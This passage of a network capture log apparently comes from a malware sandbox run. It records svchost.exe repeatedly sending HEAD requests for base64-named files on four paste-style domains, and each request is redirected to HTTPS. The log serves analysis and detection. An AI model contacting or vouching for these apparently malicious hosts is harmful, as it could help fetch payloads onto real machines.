Jan 12, 2025 09:26:57.439148903 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:57 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:57 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tpm%2FapxmbUej7bVX0g6nn8fHrUYUpaJv6N0i9K1ufoIpj12M40c3yUvluNMVhftwk0aXY777udcKM3CDslaK3xoFg%2B9C4ri2SLkDK8tIgB4tw6LG4ADgfHhhIsQEP%2BLZqyri"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3bcaf097c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1989&min_rtt=1989&rtt_var=994&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	50059	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:57.139667988 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:57.609009981 CET	866	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:57 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:57 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qv%2B0AK6cgna6b6LpUNsBCpt97rfJD%2FrThWZQd73kdtgqSeGc0nWxvkQiew5irJI%2BCji7aR%2BfrSojcHFFSZVd6lGTY2rX7DTp17z%2BOEgl%2FCugd2GWxKGaQeaV4Z4AGFka"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3bdbe837d11-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1965&min_rtt=1965&rtt_var=982&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	50069	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:57.615297079 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:58.068639040 CET	873	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:58 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:58 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h0hnTIntVDP0l2NRsZoEZfEY8wpnyiGEjPo%2B9BJympXfxz6F5Zvrlaxd3ANdij8JzHTOgX%2FmrJMUyXb%2FXhMcEDud9D8qfZcwlRH7u%2FvnT90KiSmgyvSPMZHFNAV6o7jJCYeq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3c09a03c3f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1659&min_rtt=1659&rtt_var=829&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	50071	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:57.920340061 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:58.381714106 CET	868	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:58 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:58 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PNe%2BxjU56MTnxuQSOLNFnxiWgGlLWLLiw00MBbbxV2JukvnsS75FeNhX02nYHMBq6d1r96lzLElq9STKYjyjgq1rtCmLSDNwg5epMvXYESXBNbz7HfKolmKckpS430YDJis%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3c28ac94229-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1699&min_rtt=1699&rtt_var=849&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	50073	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:58.076105118 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:58.533907890 CET	876	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:58 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:58 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tC43tUVnvu0MlM3dBosr5Ck5YKmHhWcLMp362kQoW2P%2BHT5A%2F9U5wty435lN7Cpd7Eu2RiTAm4OasvNdCJSEUnyyN5avqrvPbzrkLix%2BqiyPAzDYd47h5k2IlIZ61REmsw2r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3c38aee7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2009&min_rtt=2009&rtt_var=1004&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	50080	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:58.405452013 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:58.857256889 CET	862	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:58 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:58 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aJjrAcQZCVbjlaYWUHjCyz62WKxp6Nii8YuBXi%2B79y2W%2BvR26ujjnpcdeZjcQDR3uPfV67xUE0at5L1Xss7TegfJDKjPLhtzJbhYdUlkYPSKGMdSk%2FZx%2FBu80POgRPv5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3c5898142b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1705&rtt_var=852&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=182&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	50085	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:58.970473051 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:59.420799017 CET	873	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:59 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:59 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iLc4OQ80F1aYV01U8TNSa43wwBwfojeYNQbhSmVXVXrachEiPux2X%2BdOQPGL4TR1Vk5gE%2FBYZsddGTDscF0QjnIVkawUbblqNWMoIvkEpFz%2BheHoSuflnHrjiubf364GXr%2BF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3c90baa0f46-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1470&rtt_var=735&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	50087	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:59.173010111 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:59.693499088 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:59 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:59 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BILufdCondTbCmU%2Bv%2BWI4N%2BPDC09lnQovWxA2ofywYX3WqUtWRZGyPNRc1h25zKrPPJYP1hLxsinlsukBeKcB3X4zYpAIaM0WuVcS60msTWcma1ebXw5XAmB3R6Q5BYFxLU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3cabb49c466-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11314&min_rtt=11314&rtt_var=5657&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	50094	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:59.431917906 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:59.960928917 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:59 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:59 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZVNE8vpAsm4%2FQLxwwJRjreU51qfTLD%2F0XkikoSkuhTWoHqbZYtSJBpoQt8s189NglTyHLIFdKpwnWeMsQcc3mnMHc2TVgUfJBrvXatYcEsBD3srh15msKGdPQ9s0LuEAA%2Fqg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3cc48907c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1932&min_rtt=1932&rtt_var=966&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	50096	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:59.699696064 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:00.189785004 CET	862	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:00 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:00 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Du2Q%2FFVh7XrNmTntxhe7LEgqL5dXAaI1V1jHKpyO0lRNab9Ca2U%2BFIVs6akBLe35bSJbGOvofC1OXiC13GXecOUObcCq8rokNUf%2FyBtA0FTeIlz3rCB0urd%2BPypiXJZU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3cddcd443b6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1922&min_rtt=1922&rtt_var=961&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	50106	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:00.195873022 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:00.669436932 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:00 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:00 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Za0HjlXFAlYaLiqwlGyHuXr4R3xJfAu8CINdvlvCll8eOzYmY1%2FpafB789Urpa77jaCDkYeIYbH4P0Ad0bAiFWiu%2FSEs3uU9hQetMU6d8yUi4UrryaJP65xoVIAhCLT%2BYS%2F%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3d0db9942ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1950&min_rtt=1950&rtt_var=975&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	50108	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:00.432697058 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:00.891446114 CET	871	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:00 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:00 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QGD%2BXrjzHSGaH3Eg82rrbOIJtIRf%2FpAYe83yDwfXFmvIiCfm9sELzLiPZxS8shPhGmqg7lgRpCnoouXipZKHOwz0MC1dj6ipRw1Wgi5tWBIAdvQq83noa7YcYmyqXGsY794%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3d23e039e08-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2004&min_rtt=2004&rtt_var=1002&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=161&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	50110	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:00.675987005 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:01.126154900 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:01 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:01 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r79r4g%2BiEGz5CrMCfrc6aSRYDNft4U6DTIrfI8CG3qbUXIOTsm6dswIVFOJ7cwFOk04NGcn7AK90WA1wN79cAfjS6IHzM%2Fk72IftT%2FIMtWPUlwdqK0loMQFAcyianYBzmlsL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3d3b9f3c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1652&min_rtt=1652&rtt_var=826&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=153&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	50115	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:00.897468090 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:01.370486975 CET	856	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:01 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:01 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l1tLPlc6NBMAzK3Wfa%2BTiT3xHmgaZ7b54ZmKIVznimknLJOoTewsTJ0dXrFzlYQjgPbTavsbQBxjgZZANs0MI15S6vGe088i86xSK869yfafuCc0V69Ejnc3Q7KSxZyP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3d538afc470-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1783&min_rtt=1783&rtt_var=891&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	50122	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:01.377096891 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:01.833303928 CET	865	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:01 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:01 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2718FK5K4CHUQq1BSCdzlI62Z4SY7TOY5ZQE5UCiz2nsbbW2NApMUfGgvWSwC1Nlm8UwqwJecCA4HZZOCUtabAXiNgGN0AfQFc00w8RwSzfdRAoR53RCcRjWglyzupRtqOJm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3d81ae84235-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&min_rtt=1724&rtt_var=862&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	50124	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:01.594049931 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:02.078713894 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:02 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:02 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2BoUSnaJkEj7wJBP0By0QVAuqX%2F8wxXSF%2FH15C%2B67IvHz6L2toWaQljzIydXVwg6%2FVv4Tdck8AIsFE4rJk7fc9TxwqvkEQijlYEeVg6Uz3sOOg6Td9W8RZRYOJtOGMwLTWk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3d9a9d2423f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2176&min_rtt=2176&rtt_var=1088&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	50131	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:01.839325905 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:02.288213968 CET	873	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:02 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:02 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PgZSgeth8TQ1EbdynwQzpGfdEnov6Gl213d0YbN94Uy7HP3SQBVzaXOHnnp5E8LS1YukH2q9yMdDlzPgZx84Ax5xobNnOT16ZUd9bTAlBoiomhTa4%2ByEUvUG4HN0Y%2F3k7lBV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3dafc7ec358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1605&min_rtt=1605&rtt_var=802&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=153&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	50133	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:02.085355043 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:02.536221027 CET	860	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:02 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:02 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VslYA1%2FLvVTCPJDkgWYjfDgyoGhjy5gNklnLtwjAx0UEU2kAZFG0Xq%2F0BMLWfFCN6lYQF0yE6WGDTXY0cXsa3%2F53e5D3LkBT7tFGTV0swXWAQNsYqdpbNROIwjZAsqUK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3dc8f260f95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1519&min_rtt=1519&rtt_var=759&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=167&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	50143	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:02.543524027 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:03.022188902 CET	871	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:02 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:02 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L47AroqyZPTRUxFFWP2uLoqluqjklKQNlLBsXytthjF1h58i6bhcSUmkw7W0JLKo%2F2OJokpCOKrW59jIRM96Cjll0CwlRer0DhT64r0q%2B0AScwX9kYJ73SCCyG%2BxjywpTvpp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3df8eaff5fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1507&min_rtt=1507&rtt_var=753&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	50145	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:02.772903919 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:03.248403072 CET	874	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:03 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:03 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b2zF0cJqpFLz9%2Fl0cxNavUpsHu5ou4GgbcnFujCA%2B8TyR7BpYA%2BOKD6Bx%2FJjyj17jbcHaOm7b9hEZygktWrzQlGkzgaTOvIKPfQq7WaAgkMa2emaRwFYkUNau3HfQiofQ0k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3e0f8924363-EWR alt-svc: h3=":443"; ma=86400 server-timing: 